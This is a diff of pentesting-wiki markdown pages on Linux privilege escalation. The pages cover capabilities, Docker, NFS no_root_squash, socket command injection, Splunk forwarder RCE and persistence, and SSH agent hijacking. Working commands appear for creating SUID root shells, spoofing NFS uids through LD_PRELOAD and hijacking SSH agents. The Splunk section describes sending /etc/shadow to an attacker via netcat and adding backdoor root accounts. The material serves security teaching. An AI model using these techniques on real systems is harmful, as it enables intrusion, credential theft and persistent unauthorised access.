a/linux-unix/privilege-escalation/linux-capabilities.md +++ b/linux-unix/privilege-escalation/linux-capabilities.md @@ -2,9 +2,7 @@ ## Capabilities -Normally the root user (or any ID with UID of 0) gets a special treatment when running processes. The kernel and applications are usually programmed to skip the restriction of some activities when seeing this user ID. In other words, this user is allowed to do (almost) anything. - -Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. +Linux capabilities **provide a subset of the available root privileges** to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. ### Why capabilities? @@ -12,37 +10,6 @@ To better understand how Linux capabilities work, let’s have a look first at t Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions. -### List Capabilities - -```bash -#You list all the capabilities with -capsh --print -``` - -**Here you can find some capabilities with short descriptions** - -| Capabilities name | Description | -| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | -| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing | -| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log | -| CAP_BLOCK_SUSPEND | This feature can block system suspends | -| **CAP_CHOWN** | Allow user to make arbitrary change to files UIDs and GIDs (full filesystem access) | -| **CAP_DAC_OVERRIDE** | This helps to bypass file read, write and execute permission checks (full filesystem access) | -| **CAP_DAC_READ_SEARCH** | This only bypass file and directory read/execute permission checks | -| CAP_FOWNER | This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file | -| CAP_KILL | Allow the sending of signals to processes belonging to others | -| CAP_SETGID | Allow changing of the GID | -| **CAP_SETUID** | Allow changing of the UID (set UID of root in you process) | -| CAP_SETPCAP | Helps to transferring and removal of current set to any PID | -| CAP_IPC_LOCK | This helps to lock memory | -| CAP_MAC_ADMIN | Allow MAC configuration or state changes | -| **CAP_NET_RAW** | Use RAW and PACKET sockets (sniff traffic) | -| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports | -| CAP_SYS_CHROOT | Ability to call chroot() | -| **CAP_SYS_ADMIN** | Mount/Unmount filesystems | -| **CAP_SYS_PTRACE** | Debug processes (inject shellcodes) | -| **CAP_SYS_MODULE** | Insert kernel modules | - ### Capabilities Sets #### Inherited capabilities @@ -69,6 +36,10 @@ For a detailed explanation of the difference between capabilities in threads and To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes. +You can find the capabilities defined in /usr/include/linux/capability.h + +You can find the capabilities of the current process in `cat /proc/self/status` or doing `capsh --print` and of other users in `/proc//status` + ```bash cat /proc/1234/status | grep Cap cat /proc/$$/status | grep Cap #This will print the capabilities of the current process @@ -322,9 +293,26 @@ User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` -## +## Capabilities in Docker Containers -## CapabilitMalicious Use +By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running: + +```bash +docker run --rm -it r.j3ss.co/amicontained bash +Capabilities: + BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap + +# Add a capabilities +docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash + +# Add all capabilities +docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash + +# Remove all and add only one +docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash +``` + +## Malicious Use Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root. @@ -926,7 +914,7 @@ int main(int argc, char * argv[]) { I exploit needs to find a pointer to something mounted on the host. The original exploit used the file `/.dockerinit` and this modified version uses `/etc/hostname`. **If the exploit isn't working** maybe you need to set a different file. To find a file that is mounted in the host just execute `mount` command: {% endhint %} -![](<../../.gitbook/assets/image (407).png>) +![](<../../.gitbook/assets/image (407) (2).png>) **The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) diff --git a/linux-unix/privilege-escalation/logstash.md b/linux-unix/privilege-escalation/logstash.md index c0766332..f9dddb49 100644 --- a/linux-unix/privilege-escalation/logstash.md +++ b/linux-unix/privilege-escalation/logstash.md @@ -20,7 +20,7 @@ The pipeline configuration file **/etc/logstash/pipelines.yml** specifies the lo pipeline.workers: 6 ``` -In here you can find the paths to the **.conf** files, which contain the configured pipelines. If the **Elasticsearch output module** is used, **pipelines** are likely to **contain** valid **credentials** for an Elasticsearch instance. Those credentials have often more privileges, since Logstash has to write data to Elasticsearch. If wildcards are used, Logstash tries to run all pipelines located in that folder matching the wildcard. +In here you can find the paths to the **.conf** files, which contain the configured pipelines. If the **Elasticsearch output module **is used, **pipelines **are likely to **contain **valid **credentials **for an Elasticsearch instance. Those credentials have often more privileges, since Logstash has to write data to Elasticsearch. If wildcards are used, Logstash tries to run all pipelines located in that folder matching the wildcard. ### Privesc with writable pipelines @@ -28,7 +28,7 @@ Before trying to elevate your own privileges you should check which user is runn Check whether you have **one** of the required rights: -* You have **write permissions** on a pipeline **.conf** file **or** +* You have **write permissions **on a pipeline **.conf** file **or** * **/etc/logstash/pipelines.yml** contains a wildcard and you are allowed to write into the specified folder Further **one** of the requirements must be met: @@ -63,4 +63,3 @@ If no wildcard is used, you can apply those changes to an existing pipeline conf ## References * [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/) - diff --git a/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 5c4d40e8..5103d6bf 100644 --- a/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,10 +1,10 @@ -# NFS no\_root\_squash/no\_all\_squash misconfiguration PE +# NFS no_root_squash/no_all_squash misconfiguration PE -Read the _**/etc/exports**_ file, if you find some directory that is configured as **no\_root\_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine. +Read the_ **/etc/exports** _file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client **and **write inside **that directory **as **if you were the local **root **of the machine. -**no\_root\_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. +**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. -**no\_all\_squash:** This is similar to **no\_root\_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no\_all\_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user \(by mounting using nfs\). Execute the suid as nobody user and become different user. +**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. ## Privilege Escalation @@ -12,7 +12,7 @@ Read the _**/etc/exports**_ file, if you find some directory that is configured If you have found this vulnerability, you can exploit it: -* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary. +* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID **rights, and **executing from the victim** machine that bash binary. ```bash #Attacker, as root user @@ -27,7 +27,7 @@ cd ./bash -p #ROOT shell ``` -* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary \(you can find here some[ C SUID payloads](payloads-to-execute.md#c)\). +* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID **rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)). ```bash #Attacker, as root user @@ -46,19 +46,19 @@ cd ### Local Exploit {% hint style="info" %} -Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**. -The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**. -Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**. ---_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- +Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ +The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit **and you will need to** abuse this trick**.\ +Another required requirement for the exploit to work is that** the export inside `/etc/export`** **must be using the `insecure` flag**.\ +\--_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- {% endhint %} -**Trick copied from** [**https://www.errno.fr/nfs\_privesc.html**](https://www.errno.fr/nfs_privesc.html)\*\*\*\* +**Trick copied from **[**https://www.errno.fr/nfs_privesc.html**](https://www.errno.fr/nfs_privesc.html)**** Now, let’s assume that the share server still runs `no_root_squash` but there is something preventing us from mounting the share on our pentest machine. This would happen if the `/etc/exports` has an explicit list of IP addresses allowed to mount the share. Listing the shares now shows that only the machine we’re trying to privesc on is allowed to mount it: -```text +``` [root@pentest]# showmount -e nfs-server Export list for nfs-server: /nfs_root machine @@ -70,7 +70,7 @@ This exploit relies on a problem in the NFSv3 specification that mandates that i Here’s a [library that lets you do just that](https://github.com/sahlberg/libnfs). -#### Compiling the example +#### Compiling the example Depending on your kernel, you might need to adapt the example. In my case I had to comment out the fallocate syscalls. @@ -81,7 +81,7 @@ make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` -#### Exploiting using the library +#### Exploiting using the library Let’s use the simplest of exploits: @@ -93,7 +93,7 @@ gcc pwn.c -o a.out Place our exploit on the share and make it suid root by faking our uid in the RPC calls: -```text +``` LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out @@ -102,14 +102,14 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/ All that’s left is to launch it: -```text +``` [w3user@machine libnfs]$ /mnt/share/a.out [root@machine libnfs]# ``` There we are, local root privilege escalation! -### Bonus NFShell +### Bonus NFShell Once local root on the machine, I wanted to loot the NFS share for possible secrets that would let me pivot. But there were many users of the share all with their own uids that I couldn’t read despite being root because of the uid mismatch. I didn’t want to leave obvious traces such as a chown -R, so I rolled a little snippet to set my uid prior to running the desired shell command: @@ -133,7 +133,7 @@ os.system(' '.join(sys.argv[1:])) You can then run most commands as you normally would by prefixing them with the script: -```text +``` [root@machine .tmp]# ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old [root@machine .tmp]# ls -la ./mount/9.3_old/ @@ -144,4 +144,3 @@ drwxr-x--- 4 1008 1009 1024 Apr 5 2017 conf drwx------ 15 1008 1009 1024 Apr 5 2017 data drwxr-x--- 2 1008 1009 1024 Apr 5 2017 install ``` - diff --git a/linux-unix/privilege-escalation/runc-privilege-escalation.md b/linux-unix/privilege-escalation/runc-privilege-escalation.md index 57621196..b6866aef 100644 --- a/linux-unix/privilege-escalation/runc-privilege-escalation.md +++ b/linux-unix/privilege-escalation/runc-privilege-escalation.md @@ -2,9 +2,11 @@ ## Basic information -If you want to learn more about **runc** check the following page: +If you want to learn more about **runc **check the following page: -{% page-ref page="../../pentesting/2375-pentesting-docker.md" %} +{% content-ref url="../../pentesting/2375-pentesting-docker.md" %} +[2375-pentesting-docker.md](../../pentesting/2375-pentesting-docker.md) +{% endcontent-ref %} ## PE @@ -35,10 +37,8 @@ runc run demo ``` {% hint style="danger" %} -This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work \(unless you have a rootless configuration\). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. +This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. {% endhint %} - - diff --git a/linux-unix/privilege-escalation/socket-command-injection.md b/linux-unix/privilege-escalation/socket-command-injection.md index ea3f0f57..0108d289 100644 --- a/linux-unix/privilege-escalation/socket-command-injection.md +++ b/linux-unix/privilege-escalation/socket-command-injection.md @@ -2,7 +2,7 @@ ### Socket binding example with Python -In the following example a **unix socket is created** \(`/tmp/socket_test.s`\) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. +In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received **is going to be **executed **by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. {% code title="s.py" %} ```python @@ -28,7 +28,7 @@ while True: ``` {% endcode %} -**Execute** the code using python: `python s.py` and **check how the socket is listening**: +**Execute **the code using python: `python s.py` and **check how the socket is listening**: ```python netstat -a -p --unix | grep "socket_test" @@ -43,5 +43,3 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` - - diff --git a/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md b/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md index fcffdf03..bbe2ac89 100644 --- a/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md +++ b/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md @@ -1,36 +1,36 @@ # Splunk LPE and Persistence -If **enumerating** a machine **internally** or **externally** you find **Splunk running** \(port 8090\), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. +If **enumerating **a machine **internally** or **externally **you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. -Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. +Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal **the **password **file **from **the Splunk service and **crack **the passwords, or **add new **credentials to it. And maintain persistence on the host. In the first image below you can see how a Splunkd web page looks like. -**The following information was copied from** [**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)\*\*\*\* +**The following information was copied from **[**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)**** ## Abusing Splunk Forwarders For Shells and Persistence 14 Aug 2020 -### Description: +### Description: -The Splunk Universal Forwarder Agent \(UF\) allows authenticated remote users to send single commands or scripts to the agents through the Splunk API. The UF agent doesn’t validate connections coming are coming from a valid Splunk Enterprise server, nor does the UF agent validate the code is signed or otherwise proven to be from the Splunk Enterprise server. This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system. +The Splunk Universal Forwarder Agent (UF) allows authenticated remote users to send single commands or scripts to the agents through the Splunk API. The UF agent doesn’t validate connections coming are coming from a valid Splunk Enterprise server, nor does the UF agent validate the code is signed or otherwise proven to be from the Splunk Enterprise server. This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system. This attack is being used by Penetration Testers and is likely being actively exploited in the wild by malicious attackers. Gaining the password could lead to the compromise of hundreds of system in a customer environment. Splunk UF passwords are relatively easy to acquire, see the secion Common Password Locations for details. -### Context: +### Context: -Splunk is a data aggregation and search tool often used as a Security Information and Event Monitoring \(SIEM\) system. Splunk Enterprise Server is a web application which runs on a server, with agents, called Universal Forwarders, which are installed on every system in the network. Splunk provides agent binaries for Windows, Linux, Mac, and Unix. Many organizations use Syslog to send data to Splunk instead of installing an agent on Linux/Unix hosts but agent installation is becomming increasingly popular. +Splunk is a data aggregation and search tool often used as a Security Information and Event Monitoring (SIEM) system. Splunk Enterprise Server is a web application which runs on a server, with agents, called Universal Forwarders, which are installed on every system in the network. Splunk provides agent binaries for Windows, Linux, Mac, and Unix. Many organizations use Syslog to send data to Splunk instead of installing an agent on Linux/Unix hosts but agent installation is becomming increasingly popular. Universal Forwarder is accessible on each host at https://host:8089. Accessing any of the protected API calls, such as /service/ pops up a Basic authentication box. The username is always admin, and the password default used to be changeme until 2016 when Splunk required any new installations to set a password of 8 characters or higher. As you will note in my demo, complexity is not a requirement as my agent password is 12345678. A remote attacker can brute force the password without lockout, which is a necessity of a log host, since if the account locked out then logs would no longer be sent to the Splunk server and an attacker could use this to hide their attacks. The following screenshot shows the Universal Forwarder agent, this initial page is accessible without authentication and can be used to enumerate hosts running Splunk Universal Forwarder. -![0](https://eapolsniper.github.io/assets/2020AUG14/11_SplunkAgent.png) +![0](https://eapolsniper.github.io/assets/2020AUG14/11\_SplunkAgent.png) Splunk documentaiton shows using the same Universal Forwarding password for all agents, I don’t remember for sure if this is a requirement or if individual passwords can be set for each agent, but based on documentaiton and memory from when I was a Splunk admin, I believe all agents must use the same password. This means if the password is found or cracked on one system, it is likely to work on all Splunk UF hosts. This has been my personal experience, allowing compromise of hundreds of hosts quickly. -### Common Password Locations +### Common Password Locations I often find the Splunk Universal Forwarding agent plain text password in the following locations on networks: @@ -40,7 +40,7 @@ I often find the Splunk Universal Forwarding agent plain text password in the fo The password can also be accessed in hashed form in Program Files\Splunk\etc\passwd on Windows hosts, and in /opt/Splunk/etc/passwd on Linux and Unix hosts. An attacker can attempt to crack the password using Hashcat, or rent a cloud cracking environment to increase liklihood of cracking the hash. The password is a strong SHA-256 hash and as such a strong, random password is unlikely to be cracked. -### Impact: +### Impact: An attacker with a Splunk Universal Forward Agent password can fully compromise all Splunk hosts in the network and gain SYSTEM or root level permissions on each host. I have successfully used the Splunk agent on Windows, Linux, and Solaris Unix hosts. This vulnerability could allow system credentials to be dumped, sensitive data to be exfiltrated, or ransomware to be installed. This vulnerability is fast, easy to use, and reliable. @@ -50,49 +50,49 @@ Splunk Universal Forwarder is often seen installed on Domain Controllers for log Finally, the Universal Forwarding Agent does not require a license, and can be configured with a password stand alone. As such an attacker can install Universal Forwarder as a backdoor persistence mechanism on hosts, since it is a legitimate application which customers, even those who do not use Splunk, are not likely to remove. -### Evidence: +### Evidence: To show an exploitation example I set up a test environment using the latest Splunk version for both the Enterprise Server and the Universal Forwarding agent. A total of 10 images have been attached to this report, showing the following: 1- Requesting the /etc/passwd file through PySplunkWhisper2 -![1](https://eapolsniper.github.io/assets/2020AUG14/1_RequestingPasswd.png) +![1](https://eapolsniper.github.io/assets/2020AUG14/1\_RequestingPasswd.png) 2- Receiving the /etc/passwd file on the attacker system through Netcat -![2](https://eapolsniper.github.io/assets/2020AUG14/2_ReceivingPasswd.png) +![2](https://eapolsniper.github.io/assets/2020AUG14/2\_ReceivingPasswd.png) 3- Requesting the /etc/shadow file through PySplunkWhisper2 -![3](https://eapolsniper.github.io/assets/2020AUG14/3_RequestingShadow.png) +![3](https://eapolsniper.github.io/assets/2020AUG14/3\_RequestingShadow.png) 4- Receiving the /etc/shadow file on the attacker system through Netcat -![4](https://eapolsniper.github.io/assets/2020AUG14/4_ReceivingShadow.png) +![4](https://eapolsniper.github.io/assets/2020AUG14/4\_ReceivingShadow.png) 5- Adding the user attacker007 to the /etc/passwd file -![5](https://eapolsniper.github.io/assets/2020AUG14/5_AddingUserToPasswd.png) +![5](https://eapolsniper.github.io/assets/2020AUG14/5\_AddingUserToPasswd.png) 6- Adding the user attacker007 to the /etc/shadow file -![6](https://eapolsniper.github.io/assets/2020AUG14/6_AddingUserToShadow.png) +![6](https://eapolsniper.github.io/assets/2020AUG14/6\_AddingUserToShadow.png) 7- Receiving the new /etc/shadow file showing attacker007 is successfully added -![7](https://eapolsniper.github.io/assets/2020AUG14/7_ReceivingShadowFileAfterAdd.png) +![7](https://eapolsniper.github.io/assets/2020AUG14/7\_ReceivingShadowFileAfterAdd.png) 8- Confirming SSH access to the victim using the attacker007 account -![8](https://eapolsniper.github.io/assets/2020AUG14/8_SSHAccessUsingAttacker007.png) +![8](https://eapolsniper.github.io/assets/2020AUG14/8\_SSHAccessUsingAttacker007.png) 9- Adding a backdoor root account with username root007, with the uid/gid set to 0 -![9](https://eapolsniper.github.io/assets/2020AUG14/9_AddingBackdoorRootAccount.png) +![9](https://eapolsniper.github.io/assets/2020AUG14/9\_AddingBackdoorRootAccount.png) 10- Confirming SSH access using attacker007, and then escalating to root using root007 -![10](https://eapolsniper.github.io/assets/2020AUG14/10_EscalatingToRoot.png) +![10](https://eapolsniper.github.io/assets/2020AUG14/10\_EscalatingToRoot.png) At this point I have persistent access to the host both through Splunk and through the two user accounts created, one of which provides root. I can disable remote logging to cover my tracks and continue attacking the system and network using this host. @@ -107,14 +107,14 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8 Host information: -Splunk Enterprise Server: 192.168.42.114 -Splunk Forwarder Agent Victim: 192.168.42.98 +Splunk Enterprise Server: 192.168.42.114\ +Splunk Forwarder Agent Victim: 192.168.42.98\ Attacker:192.168.42.51 -Splunk Enterprise version: 8.0.5 \(latest as of August 12, 2020 – day of lab setup\) -Universal Forwarder version: 8.0.5 \(latest as of August 12, 2020 – day of lab setup\) +Splunk Enterprise version: 8.0.5 (latest as of August 12, 2020 – day of lab setup)\ +Universal Forwarder version: 8.0.5 (latest as of August 12, 2020 – day of lab setup) -#### Remediation Recommendation’s for Splunk, Inc: +#### Remediation Recommendation’s for Splunk, Inc: I recommend implementing all of the following solutions to provide defense in depth: @@ -122,16 +122,16 @@ I recommend implementing all of the following solutions to provide defense in de 2. Enable TLS mutual authentication between the clients and server, using individual keys for each client. This would provide very high bi-directional security between all Splunk services. TLS mutual authentication is being heavily implemented in agents and IoT devices, this is the future of trusted device client to server communication. 3. Send all code, single line or script files, in a compressed file which is encrypted and signed by the Splunk server. This does not protect the agent data sent through the API, but protects against malicious Remote Code Execution from a 3rd party. -#### Remediation Recommendation’s for Splunk customers: +#### Remediation Recommendation’s for Splunk customers: 1. Ensure a very strong password is set for Splunk agents. I recommend at least a 15-character random password, but since these passwords are never typed this could be set to a very large password such as 50 characters. -2. Configure host based firewalls to only allow connections to port 8089/TCP \(Universal Forwarder Agent’s port\) from the Splunk server. +2. Configure host based firewalls to only allow connections to port 8089/TCP (Universal Forwarder Agent’s port) from the Splunk server. -### Recommendations for Red Team: +### Recommendations for Red Team: 1. Download a copy of Splunk Universal Forwarder for each operating system, as it is a great light weight signed implant. Good to keep a copy incase Splunk actually fixes this. -### Exploits/Blogs from other researchers +### Exploits/Blogs from other researchers Usable public exploits: @@ -146,4 +146,3 @@ Related blog posts: * https://www.hurricanelabs.com/splunk-tutorials/using-splunk-as-an-offensive-security-tool _\*\* Note: \*\*_ This issue is a serious issue with Splunk systems and it has been exploited by other testers for years. While Remote Code Execution is an intended feature of Splunk Universal Forwarder, the implimentaion of this is dangerous. I attempted to submit this bug via Splunk’s bug bounty program in the very unlikely chance they are not aware of the design implications, but was notified that any bug submissions implement the Bug Crowd/Splunk disclosure policy which states no details of the vulnerability may be discussed publically _ever_ without Splunk’s permission. I requested a 90 day disclosure timeline and was denied. As such, I did not responsibly disclose this since I am reasonably sure Splunk is aware of the issue and has chosen to ignore it, I feel this could severely impact companies, and it is the responsibility of the infosec community to educate businesses. - diff --git a/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md b/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md index 4d7d7099..1e86400c 100644 --- a/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md @@ -4,11 +4,11 @@ What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this: -```text +``` ForwardAgent yes ``` -If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory +If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the_ /tmp_ directory Impersonate Bob using one of Bob's ssh-agent: @@ -18,7 +18,7 @@ SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ### Why does this work? -When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there \(normally it will be\), you will be able to access any host using it. +When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it. As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it. @@ -26,11 +26,11 @@ Another option, is that the user owner of the agent and root may be able to acce ## Long explanation and exploitation -**Taken from:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/)\*\*\*\* +**Taken from: **[**https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/)**** ### **When ForwardAgent Can’t Be Trusted** -SSH without passwords makes life with Unix-like operating systems much easier. If your network requires chained ssh sessions \(to access a restricted network, for example\), agent forwarding becomes extremely helpful. With agent forwarding it’s possible for me to connect from my laptop to my dev server and from there run an svn checkout from yet another server, all without passwords, while keeping my private key safe on my local workstation. +SSH without passwords makes life with Unix-like operating systems much easier. If your network requires chained ssh sessions (to access a restricted network, for example), agent forwarding becomes extremely helpful. With agent forwarding it’s possible for me to connect from my laptop to my dev server and from there run an svn checkout from yet another server, all without passwords, while keeping my private key safe on my local workstation. This can be dangerous, though. A quick web search will reveal several articles indicating this is only safe if the intermediate hosts are trustworthy. Rarely, however, will you find an explanation of _why_ it’s dangerous. @@ -44,7 +44,7 @@ If an attacker is able to break the encryption used to protect your password whi A much safer authentication method is [public key authentication](http://www.ibm.com/developerworks/library/l-keyc/index.html), a way of logging in without a password. Public key authentication requires a matched pair of public and private keys. The public key encrypts messages that can only be decrypted with the private key. The remote computer uses its copy of your public key to encrypt a secret message to you. You prove you are you by decrypting the message using your private key and sending the message back to the remote computer. Your private key remains safely on your local computer the entire time, safe from attack. -The private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately this means entering your encryption passphrase before using it. Many articles suggest using passphrase-less \(unencrypted\) private keys to avoid this inconvenience. That’s a bad idea, as anyone with access to your workstation \(via physical access, theft, or hackery\) now also has free access to any computers configured with your public key. +The private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately this means entering your encryption passphrase before using it. Many articles suggest using passphrase-less (unencrypted) private keys to avoid this inconvenience. That’s a bad idea, as anyone with access to your workstation (via physical access, theft, or hackery) now also has free access to any computers configured with your public key. OpenSSH includes [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local [socket](http://en.wikipedia.org/wiki/Unix_domain_socket) that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays safely ensconced in the ssh-agent process’ memory while still allowing you to ssh around without typing in passwords. @@ -56,9 +56,9 @@ Many tasks require “chaining” ssh sessions. Consider my example from earlier Simply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to authenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and usernames have been changed to protect the innocent. -My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the SSH\_AUTH\_SOCK environment variable: +My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the SSH_AUTH_SOCK environment variable: -```text +``` mylaptop:~ env|grep SSH_AUTH_SOCK SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners @@ -68,14 +68,14 @@ srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners The [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) program lets us view and interact with keys in the agent: -```text +``` mylaptop:~ alice$ ssh-add -l 2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA) ``` -I have “ForwardAgent yes” in the ~/.ssh/config on my laptop. So ssh is going to create a tunnel connecting the local socket to a local socket on the remote server: +I have “ForwardAgent yes” in the \~/.ssh/config on my laptop. So ssh is going to create a tunnel connecting the local socket to a local socket on the remote server: -```text +``` mylaptop:~ alice$ ssh seattle seattle:~ $ env|grep SSH_AUTH_SOCK @@ -84,14 